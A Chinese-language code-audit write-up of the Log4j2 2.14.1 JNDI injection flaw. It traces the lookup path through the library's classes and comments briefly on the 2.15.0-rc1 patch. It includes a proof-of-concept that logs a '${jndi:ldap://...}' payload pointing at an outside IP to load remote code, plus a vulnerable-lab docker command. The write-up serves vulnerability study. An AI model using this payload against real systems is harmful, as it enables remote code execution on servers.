log4j代码审计
环境搭建
开一个maven项目,导入依赖
<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency></dependencies>
创建一个Poc.java
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Poc {private static final Logger LOGGER = LogManager.getLogger();public static void main(String[] args) {LOGGER.error("${jndi:ldap://47.97.123.81:11452/Exp}");}}
这里可以直接打jndi注入。

利用工具https://github.com/whwlsfb/Log4j2Scan
或者
docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=47.97.123.81 vulfocus/vulfocus
启动vulfocus
代码审计
我们在关键点下断点org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
然后进来之后看这个地方

这里用了循环,来检测${连号字符,就进入if判断里的东西,这时我们的payload里面是有${开头的,所以进入了if函数。
接下来主要是workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
这句代码。我们跟进一下进入config.getStrSubstitutor().replace(event, value)的替换操作

跟进这个substitute

这里while(pos < bufEnd)做了一个替换操作。
把jndi:ldap://47.97.123.81:11452/Exploit提取出来放到varName里
跟进这个this.resolveVariable(event, varName, buf, startPos, pos);
这里直接有lookup函数
之后进入Interpolator里的lookup函数

继续跟进进入JndiLookup
造成了jndi注入。
2.15.0-rc1

可以看到MessagePatternConverter变成了MessagePatternConverter$SimpleMessagePatternConverter
真正的解析的地方在MessagePatternConverter$LookupMessagePatternConverter
除非手动构造。。才能绕过,其实这个绕过感觉有点鸡肋
